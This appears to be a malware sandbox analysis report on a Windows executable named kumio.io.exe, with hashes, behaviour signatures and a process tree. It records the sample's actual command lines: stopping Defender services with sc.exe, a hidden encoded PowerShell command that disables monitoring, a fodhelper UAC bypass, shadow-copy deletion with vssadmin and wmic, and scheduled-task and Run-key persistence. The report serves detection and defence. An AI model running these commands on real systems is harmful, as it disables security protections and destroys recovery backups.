Analysis
- max time kernel
149s - max time network
147s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
27/04/2026, 13:25
Static task
static1
2 signatures
Behavioral task
behavioral1
Sample
kumio.io.exe
Resource
win10v2004-20260130-en
windows10-2004-x64
37 signatures
150 seconds
Behavioral task
behavioral2
Sample
kumio.io.exe
Resource
win11-20260130-en
windows11-21h2-x64
35 signatures
150 seconds
General
- Target kumio.io.exe
- Size 51KB
- Sample260427-qpclysft2p
- SHA256 286676a2d03523681ba597532c4ca8e4be8c3f5aafcbd323716c0a307480243b
- MD5 fb909bafa7fcc0668b17787eaec550f3
- SHA1 08240b22e58bbb33f34d8e785c909451dd253f71
- SHA512 9cd586f17614f3fb0333bc81ac65a500c522948b458c907a152df49cc9c461701c068d7b00e318d14694004354fb128b02acc53c9c632de86d8b03ed7c41e9ed
- SSDEEP 768:gVTtLYhD+7o19oDJLnk5ztS5vaRa+mAmGmoWnheHeb7EPLf9jSvvhE2v:yYhD+YuhnXgRa+mHDb2ljSvv7v
- TLSH T1F333F94873ED8112E1BF4EBE95B180529331F463DD23DB8E0AD8459E09E3B44CD68B6B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 3 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/4288-0-0x00000000005C0000-0x00000000005D4000-memory.dmp disable_win_def behavioral2/memory/4288-1-0x000000001B370000-0x000000001B380000-memory.dmp disable_win_def behavioral2/files/0x001700000002b7d7-2269.dat disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" kumio.io.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2876 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" kumio.io.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts kumio.io.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 5260 netsh.exe - Disables service(s) 3 TTPs
- Drops startup file 64 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_146.pdf kumio.io.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf kumio.io.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf kumio.io.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf kumio.io.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_38.pdf kumio.io.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_39.pdf kumio.io.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_63.pdf kumio.io.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_110.pdf kumio.io.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf kumio.io.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf kumio.io.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_139.pdf kumio.io.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_159.pdf kumio.io.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_53.pdf kumio.io.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf kumio.io.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_187.pdf kumio.io.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_192.pdf kumio.io.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_43.pdf kumio.io.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf kumio.io.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_65.pdf kumio.io.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_77.pdf kumio.io.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_114.pdf kumio.io.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_137.pdf kumio.io.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_154.pdf kumio.io.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_184.pdf kumio.io.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf kumio.io.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf kumio.io.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_179.pdf kumio.io.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf kumio.io.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_186.pdf kumio.io.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf kumio.io.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_5.pdf kumio.io.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf kumio.io.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_71.pdf kumio.io.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf kumio.io.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf kumio.io.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_129.pdf kumio.io.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf kumio.io.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf kumio.io.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf kumio.io.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_143.pdf kumio.io.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf kumio.io.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_158.pdf kumio.io.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_185.pdf kumio.io.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_12.pdf kumio.io.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_60.pdf kumio.io.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf kumio.io.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf kumio.io.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_119.pdf kumio.io.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf kumio.io.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf kumio.io.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_9.pdf kumio.io.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_20.pdf kumio.io.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf kumio.io.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf kumio.io.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_109.pdf kumio.io.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_176.pdf kumio.io.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf kumio.io.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf kumio.io.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_69.pdf kumio.io.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_80.pdf kumio.io.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf kumio.io.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf kumio.io.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_147.pdf kumio.io.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf kumio.io.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\kumio.io.exe" kumio.io.exe Set value (str) \REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\kumio.io.exe" kumio.io.exe - Drops file in System32 directory 3 IoCs
description ioc Process File opened for modification C:\Windows\system32\sysupdate.exe kumio.io.exe File created C:\Windows\system32\svchost.exe kumio.io.exe File created C:\Windows\system32\sysupdate.exe kumio.io.exe - Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 3392 tasklist.exe - Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" kumio.io.exe - Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2056 sc.exe 4008 sc.exe 5692 sc.exe 5972 sc.exe 3232 sc.exe 5488 sc.exe 1796 sc.exe 4092 sc.exe 2136 sc.exe 4232 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 5500 NETSTAT.EXE 4564 ipconfig.exe - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 5468 systeminfo.exe - Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 3196 vssadmin.exe 2884 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000\Control Panel\Desktop\WallpaperStyle = "2" kumio.io.exe - Modifies data under HKEY_USERS 15 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292114432" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4290799360" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292114432" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365268" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00 LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365268" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "74" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1" LogonUI.exe - Modifies registry class 16 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command kumio.io.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet kumio.io.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell kumio.io.exe Key created \REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\ms-settings\shell\open\command kumio.io.exe Key created \REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\ms-settings\shell kumio.io.exe Key created \REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\ms-settings\shell\open kumio.io.exe Set value (str) \REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\kumio.io.exe" kumio.io.exe Set value (str) \REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\ms-settings\shell\open\command\DelegateExecute kumio.io.exe Key deleted \REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\ms-settings kumio.io.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open kumio.io.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\kumio.io.exe\" \"%1\"" kumio.io.exe Key created \REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\ms-settings kumio.io.exe Key deleted \REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\ms-settings\shell kumio.io.exe Set value (str) \REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\.pdf\ = "PDFBotnet" kumio.io.exe Key deleted \REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\ms-settings\shell\open\command kumio.io.exe Key deleted \REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\ms-settings\shell\open kumio.io.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2708 schtasks.exe 1904 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2876 powershell.exe 2876 powershell.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe 4288 kumio.io.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 2896 LogonUI.exe Token: SeCreatePagefilePrivilege 2896 LogonUI.exe Token: SeDebugPrivilege 4288 kumio.io.exe Token: SeDebugPrivilege 2876 powershell.exe Token: SeIncBasePriorityPrivilege 4288 kumio.io.exe Token: SeDebugPrivilege 3308 whoami.exe Token: SeDebugPrivilege 5500 NETSTAT.EXE Token: SeDebugPrivilege 3392 tasklist.exe Token: SeBackupPrivilege 5552 vssvc.exe Token: SeRestorePrivilege 5552 vssvc.exe Token: SeAuditPrivilege 5552 vssvc.exe Token: SeIncreaseQuotaPrivilege 3952 WMIC.exe Token: SeSecurityPrivilege 3952 WMIC.exe Token: SeTakeOwnershipPrivilege 3952 WMIC.exe Token: SeLoadDriverPrivilege 3952 WMIC.exe Token: SeSystemProfilePrivilege 3952 WMIC.exe Token: SeSystemtimePrivilege 3952 WMIC.exe Token: SeProfSingleProcessPrivilege 3952 WMIC.exe Token: SeIncBasePriorityPrivilege 3952 WMIC.exe Token: SeCreatePagefilePrivilege 3952 WMIC.exe Token: SeBackupPrivilege 3952 WMIC.exe Token: SeRestorePrivilege 3952 WMIC.exe Token: SeShutdownPrivilege 3952 WMIC.exe Token: SeDebugPrivilege 3952 WMIC.exe Token: SeSystemEnvironmentPrivilege 3952 WMIC.exe Token: SeRemoteShutdownPrivilege 3952 WMIC.exe Token: SeUndockPrivilege 3952 WMIC.exe Token: SeManageVolumePrivilege 3952 WMIC.exe Token: 33 3952 WMIC.exe Token: 34 3952 WMIC.exe Token: 35 3952 WMIC.exe Token: 36 3952 WMIC.exe Token: SeIncreaseQuotaPrivilege 3952 WMIC.exe Token: SeSecurityPrivilege 3952 WMIC.exe Token: SeTakeOwnershipPrivilege 3952 WMIC.exe Token: SeLoadDriverPrivilege 3952 WMIC.exe Token: SeSystemProfilePrivilege 3952 WMIC.exe Token: SeSystemtimePrivilege 3952 WMIC.exe Token: SeProfSingleProcessPrivilege 3952 WMIC.exe Token: SeIncBasePriorityPrivilege 3952 WMIC.exe Token: SeCreatePagefilePrivilege 3952 WMIC.exe Token: SeBackupPrivilege 3952 WMIC.exe Token: SeRestorePrivilege 3952 WMIC.exe Token: SeShutdownPrivilege 3952 WMIC.exe Token: SeDebugPrivilege 3952 WMIC.exe Token: SeSystemEnvironmentPrivilege 3952 WMIC.exe Token: SeRemoteShutdownPrivilege 3952 WMIC.exe Token: SeUndockPrivilege 3952 WMIC.exe Token: SeManageVolumePrivilege 3952 WMIC.exe Token: 33 3952 WMIC.exe Token: 34 3952 WMIC.exe Token: 35 3952 WMIC.exe Token: 36 3952 WMIC.exe Token: SeIncreaseQuotaPrivilege 1496 WMIC.exe Token: SeSecurityPrivilege 1496 WMIC.exe Token: SeTakeOwnershipPrivilege 1496 WMIC.exe Token: SeLoadDriverPrivilege 1496 WMIC.exe Token: SeSystemProfilePrivilege 1496 WMIC.exe Token: SeSystemtimePrivilege 1496 WMIC.exe Token: SeProfSingleProcessPrivilege 1496 WMIC.exe Token: SeIncBasePriorityPrivilege 1496 WMIC.exe Token: SeCreatePagefilePrivilege 1496 WMIC.exe Token: SeBackupPrivilege 1496 WMIC.exe Token: SeRestorePrivilege 1496 WMIC.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4288 kumio.io.exe - Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 2896 LogonUI.exe 4288 kumio.io.exe - Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 4288 wrote to memory of 2876 4288 kumio.io.exe 80 PID 4288 wrote to memory of 4232 4288 kumio.io.exe 82 PID 4288 wrote to memory of 2056 4288 kumio.io.exe 84 PID 4288 wrote to memory of 3232 4288 kumio.io.exe 86 PID 4288 wrote to memory of 4008 4288 kumio.io.exe 88 PID 4288 wrote to memory of 5692 4288 kumio.io.exe 90 PID 4288 wrote to memory of 5488 4288 kumio.io.exe 92 PID 4288 wrote to memory of 1796 4288 kumio.io.exe 94 PID 4288 wrote to memory of 5972 4288 kumio.io.exe 96 PID 4288 wrote to memory of 3480 4288 kumio.io.exe 98 PID 3480 wrote to memory of 5908 3480 fodhelper.exe 99 PID 4288 wrote to memory of 2616 4288 kumio.io.exe 100 PID 4288 wrote to memory of 2708 4288 kumio.io.exe 101 PID 4288 wrote to memory of 3992 4288 kumio.io.exe 106 PID 4288 wrote to memory of 4276 4288 kumio.io.exe 107 PID 4288 wrote to memory of 3120 4288 kumio.io.exe 108 PID 4288 wrote to memory of 1676 4288 kumio.io.exe 109 PID 4288 wrote to memory of 4780 4288 kumio.io.exe 110 PID 4288 wrote to memory of 5304 4288 kumio.io.exe 111 PID 4288 wrote to memory of 3764 4288 kumio.io.exe 112 PID 4288 wrote to memory of 1904 4288 kumio.io.exe 113 PID 4288 wrote to memory of 5472 4288 kumio.io.exe 122 PID 4276 wrote to memory of 5468 4276 cmd.exe 123 PID 4780 wrote to memory of 2476 4780 cmd.exe 124 PID 2476 wrote to memory of 3348 2476 net.exe 125 PID 3992 wrote to memory of 3196 3992 cmd.exe 126 PID 1676 wrote to memory of 3308 1676 cmd.exe 127 PID 5304 wrote to memory of 4564 5304 cmd.exe 128 PID 3120 wrote to memory of 3392 3120 cmd.exe 129 PID 3764 wrote to memory of 5500 3764 cmd.exe 130 PID 4288 wrote to memory of 1008 4288 kumio.io.exe 133 PID 3992 wrote to memory of 3952 3992 cmd.exe 134 PID 4288 wrote to memory of 2884 4288 kumio.io.exe 137 PID 4288 wrote to memory of 1496 4288 kumio.io.exe 139 PID 4288 wrote to memory of 4668 4288 kumio.io.exe 140 PID 4288 wrote to memory of 5260 4288 kumio.io.exe 144 PID 4288 wrote to memory of 4092 4288 kumio.io.exe 146 PID 4288 wrote to memory of 2136 4288 kumio.io.exe 148 PID 4668 wrote to memory of 6104 4668 net.exe 151 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\kumio.io.exe"C:\Users\Admin\AppData\Local\Temp\kumio.io.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Drops startup file
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4288 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2876
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:4232
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:2056
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:3232
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:4008
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:5692
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:5488
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:1796
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:5972
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C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:3480 -
C:\Users\Admin\AppData\Local\Temp\kumio.io.exe"C:\Users\Admin\AppData\Local\Temp\kumio.io.exe"3⤵PID:5908
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵PID:2616
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\kumio.io.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:2708
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:3992 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:3196
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C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3952
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:4276 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:5468
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:3120 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:3392
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:1676 -
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3308
